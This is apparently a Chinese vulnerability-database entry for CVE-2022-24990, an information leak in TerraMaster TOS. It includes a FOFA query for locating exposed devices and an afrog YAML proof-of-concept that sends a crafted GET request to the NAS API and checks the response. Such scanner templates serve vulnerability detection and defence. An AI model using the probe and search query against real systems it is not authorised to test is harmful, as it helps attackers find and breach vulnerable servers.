CVE-2022-24990: TerraMaster TOS 信息泄漏漏洞

日期: 2025-09-01 | 影响软件: 未知 | POC: 已公开

漏洞描述

TerraMaster TOS 存在信息泄漏漏洞，攻击者通过漏洞可以获取服务器上的敏感信息，配合 CVE-2022-24989漏洞可以获取服务器权限 TerraMaster TOS < 4.2.31 FOFA: "TerraMaster" && header="TOS"

PoC代码[已公开]

id: CVE-2022-24990

info:
  name: TerraMaster TOS 信息泄漏漏洞
  author: zan8in
  severity: medium
  description: |-
    TerraMaster TOS 存在信息泄漏漏洞，攻击者通过漏洞可以获取服务器上的敏感信息，配合 CVE-2022-24989漏洞可以获取服务器权限
    TerraMaster TOS < 4.2.31 FOFA: "TerraMaster" && header="TOS"
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-24990
    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/webapp/TerraMaster/TerraMaster%20TOS%20%E4%BF%A1%E6%81%AF%E6%B3%84%E6%BC%8F%E6%BC%8F%E6%B4%9E%20CVE-2022-24990.md
    - https://github.com/lishang520/CVE-2022-24990
  tags: cve,cve2022,info-leak,terramaster
  created: 2023/06/22

rules:
  r0:
    request:
      method: GET
      path: /module/api.php?mobile/webNasIPS
      headers:
        User-Agent: TNAS
    expression: |
      response.status == 200 && response.body.bcontains(b'"code":true') && response.body.bcontains(b'"msg":"webNasIPS successful"')
expression: r0()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CVE/2022/CVE-2022-24990.yaml